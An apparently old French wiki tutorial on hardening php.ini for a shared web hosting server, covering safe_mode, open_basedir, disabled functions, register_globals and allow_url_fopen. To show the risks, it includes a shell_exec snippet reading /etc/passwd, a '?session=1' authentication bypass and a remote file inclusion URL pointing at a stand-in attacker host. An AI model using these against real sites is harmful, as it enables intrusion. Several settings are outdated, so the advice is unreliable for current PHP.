GoldZone Web Hosting

Rédigé par Gaëtan Trellu (goldyfruit)

Outils pour utilisateurs

Outils du site


configuration_securisation_et_optimisations

Configuration, sécurisation et optimisations.

Nous voici dans une partie un peu plus ardue, celle-ci est très importante (cela reste mon avis :-X) car une mauvaise configuration peut mettre l'intégrité de votre serveur en péril !
Des boucles qui durent indéfiniment, la taille des fichiers à uploader qui est trop grosse, des fonctions actives comme shell_exec, exec, etc… qui permettent l'exécution de commandes shell, et j'en passe.

Bon alors il va vous falloir les ingrédients suivants pour continuer :

  • Doliprane.
  • Café, thé, chocolat (suivant vos goûts).
  • Un oreiller.
  • Une chaise bien confortable.
  • De la patience.

La configuration de PHP se passe dans le fichier /etc/php5/apache2/php.ini.

short_open_tag

short_open_tag = On

Indique à PHP que vous autorisez l'utilisation des balises <? ?>, de préférence laissez la valeur On car si des personnes ont développé leur site avec ce type de balise celui-ci ne sera pas interprété par le serveur.

safe_mode

safe_mode = Off

Cette variable permet ou pas d'activer le safe_mode, le safe_mode désactive des fonctions de PHP considérées comme dangereuses (shell_exec, exec, passthru, system, etc…).
De base celui-ci n'est pas activé car il peut engendrer quelques problèmes avec certains scripts (WebFTP, galerie, PhpMyAdmin, etc…).

<?php
 
$var = shell_exec('ps aux | grep apache2');
echo $var;
 
?>

Si ce script est lancé quand le safe_mode est activé sur le serveur, le message d'erreur suivant apparaîtra :

Warning: shell_exec() [function.shell-exec]: Cannot execute using backquotes in Safe Mode in /var/www/test.php on line 3

Autrement les processus Apache seront affichés.

La liste des fonctions désactivées par le safe_mode est disponible ici, il est aussi possible de laisser le safe_mode sur Off est de désactiver certaines fonctions de PHP mais nous verrons cela un peu plus loin.

Il est possible d'activer le safe_mode dans le virtualhost directement en y ajoutant ceci :

php_admin_flag safe_mode on

open_basedir

;open_basedir =

Le ; devant open_basedir signifie que cette variable est désactivée pour l'activer il suffit d'enlever le ; (point virgule). Une fois active cette variable permet de définir un répertoire qui servira de “prison”.

Explications :

Si un script PHP veut écrire un fichier dans le répertoire /tmp de votre serveur et que vous avez définie /var/www/ comme répertoire de “prison” alors le message suivant vous sera affiché :

Warning: Unknown: open_basedir restriction in effect. File(/var/www/index.php) is not within the allowed path(s): (/tmp) in Unknown on line 0

Warning: Unknown: failed to open stream: Operation not permitted in Unknown on line 0

Warning: Unknown: Failed opening '/var/www/index.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in Unknown on line 0

Un exemple de confinement serait :

open_basedir = /var/www/:/tmp:/usr/share/pear:/var/lib/php5
  • / après /var/www signifie que le répertoire www ne sera pas accessible.
  • : signifie que l'on indique un autre répertoire qui sera autorisé.
  • /tmp, /usr/share/pear et /var/lib/php5 seront accessibles à tout le monde.

Attention, un script contenant des commandes shell contourne sans soucis cette restriction, exemple :

<?php
 
$var = shell_exec('cat /etc/passwd');
echo $var;
 
?>

Il est possible de définir l'open_basedir dans le virtualhost directement en y ajoutant ceci :

php_admin_value open_basedir "/var/www/marcel/:/tmp:/usr/share/pear:/var/lib/php5"

disable_functions

disable_functions =

Cette variable permet de désactiver les fonctions que vous souhaitez, exemple :

disable_functions = shell_exec, exec, chmod, mkdir

Ici ces quatre fonctions seront désactivées, si le safe_mode est activé cette variable ne sera pas prise en compte.

expose_php

expose_php = On

Sur On cette variable affiche la version de PHP qui est utilisée, en passant la valeur à Off la version dans l'en-tête du serveur web sera masquée.

max_execution_time

max_execution_time = 30

Quand un script est exécuté, PHP lui impartie une durée en seconde pendant laquelle celui-ci à le droit de s'exécuter. Une fois cette durée atteinte le script est stoppé.
30 secondes c'est bien quand vous n'avez qu'un seul site sur votre serveur et que vous êtes le seul à exécuter des scripts (dont vous connaissez le contenu) cependant sur un serveur utilisé par des milliers de personnes l'histoire n'est pas la même, imaginez des centaines de scripts avec des boucles infinies qui tournent pendant 30 secondes chacun et bien c'est le drame !! 8-o

Pour ma part j'ai mis cette valeur à 8 secondes et il semblerait que se soit correct, en effet en mettant cette valeur aussi basse il arrive que certains scripts de mes hébergés boudent un peu mais cela est très rare.

memory_limit

memory_limit = 16M

Un script qui s'exécute demande de la mémoire je ne vous apprends rien, cependant un script mal codé peu s'approprier plusieurs mégas de RAM, c'est donc pour cela que cette option existe.
Elle définie la taille limite en Mo qu'un script PHP à le droit de s'allouer, par défaut celle-ci est à 16M ce qui peut s'avérer un peu juste dans certain cas (sauvegarde par exemple) c'est pour cela que je vous conseillerai de la passer à 32M. Bien sûre ne changez celle-ci qui si vous avez un message de ce style :

Fatal error: Allowed memory size of 16777216 bytes exhausted

display_errors

display_errors = On

Comme elle le laisse paraître, cette variable permet d'afficher les messages d'erreurs de PHP.
Dans un environnement de production il est conseillé de passer cette variable à Off pour masquer les erreurs PHP mais étant donné que votre serveur sera dédié au faire de l'hébergement si l'un de vos membres code lui même son site et qu'il a fait une erreur dans son code source cela ne sera pas du tout pratique pour qu'il puisse débugger son script.

error_log

;error_log = syslog

Comme pour l'open_basedir il faut enlever le ; se trouvant devant pour que cette option soit activée.
En l'activant toutes les erreurs PHP seront contenues dans le log syslog (/var/log/syslog) ce qui peut être pratique suivant votre configuration de logs.

register_globals

register_globals = Off

En passant cette variable sur On cela peut être nuisible à votre site si celui-ci est mal codé, à savoir la non-initialisation de vos variables.

Explications :

Dans la pratique ça peut être sympa d'avoir register_global sur On.

<?php
 
// Lorsque register_global est On les deux variables ci-dessous valent la même chose.
echo $_GET['password'];
echo $password;
 
?>

Cependant si vous n'initialisez pas vos variables voici ce qui peut se passer :

<?php
 
// Si le mot de passe est correct alors on créé une session.
if ($password == 'motdepassedeouf')
{
      $session = TRUE;
}
 
?>

Si dans l'url vous rajoutez ?session=1, 1 sera considéré comme TRUE et donc il sera possible d'accéder au contenu sans indiquer de mot de passe !

Pour ne pas avoir de problème il faut donc donné une valeur à $session avant qu'elle soit dans la condition, exemple :

<?php
 
// Initialisation de la variable $session.
$session = FALSE;
 
// Si le mot de passe est correct alors on créé une session.
if ($password == 'motdepassedeouf')
{
      $session = TRUE;
}
 
?>

Je vous invite fortement à laisse cette valeur sur Off. ;-)

magic_quotes_gpc

magic_quotes_gpc = On

magic_quotes_gpc ajoute des quotes (“ “) aux variables $_GET/$_POST/$_COOKIES, c'est sympa ça limite le risque d'injection SQL mais ça demande quelques ressources de plus car PHP vérifie toutes les variables de types $_GET/$_POST/$_COOKIES.
C'est un choix à faire, si vous êtes accros aux millisecondes et que vous avez des notions de programmation PHP (les bases suffisent histoire de protéger ses variables avec addslashes par exemple.) vous pouvez alors passer cette valeur à Off.
Je vous conseille tout de même de laisser cette valeur sur On.

file_uploads

file_uploads = On

Comme son nom l'indique cette variable permet d'activer l'envoie de fichier vers le serveur.
Si vous n'utilisez pas l'upload de fichier chose qui m'étonnerait (PhpMyAdmin, WebFTP) pensez à désactiver cette option.

upload_max_filesize

upload_max_filesize = 2M

Cette variable permet de définir la taille maximal d'un fichier fichier qui sera uploadé via un formulaire. Dans le cas ou le fichier uploadé sera plus gros que la valeur définie PHP retournera un code d'erreur. 2M est une valeur correcte cependant si vous essayez par exemple d'importer des bases de données un peu volumineuse via PhpMyadmin cela risque de poser problème, pourquoi ne pas passer cette valeur à 4M ? :-P

upload_tmp_dir

;upload_tmp_dir =

De base upload_tmp_dir n'est pas activé, cette variable permet de préciser un répertoire d'upload temporaire pendant le transfert du fichier.
Pour l'activer il faut enlever le ; qui se trouve devant, exemple :

upload_tmp_dir = /tmp

/tmp sera le répertoire temporaire.

allow_url_fopen

allow_url_fopen = On

En laissant cette variable sur On votre site peut courir un risque si vous n'avez pas protégé vos includes.

La “faille include()” permet à n'importe qui d'inclure une page dans le but de récupérer des informations ou tout simplement de modifier l'apparence de votre site. Se protéger de cette faille est très simple, il suffit de vérifier l'existence de la page et si celle-ci n'existe pas alors on affiche un message d'erreur personnalisé.

Exemple :

<?php
 
if(isset($_GET['page']) AND file_exists($_GET['page'].'.php'))
{
      include $_GET['page'].'.php';
}
      else
      {
           require_once('erreur.php');
      }
 
?>

Dans votre page index.php vous utilisez la fonction include de façon à avoir un URL dans ce style, imaginons que celle-ci ne soit pas protégée.

http://monsite.com/index.php?page=nous_contacter

Voila ce qui pourrait se passer :

http://monsite.com/index.php?page=http://hackersdeouf.com/script_de_ouf.php

Bien entendu script_de_ouf.php peut être un formulaire permettant l'exécution de commande shell. 8-o

Après modification du php.ini ?

A chaque modification du fichier php.ini il faudra relancer Apache que qu'il prenne en compte les nouvelles valeurs de PHP.

# /etc/init.d/apache2 reload
configuration_securisation_et_optimisations.txt · Dernière modification: 2011/01/05 16:05 (modification externe)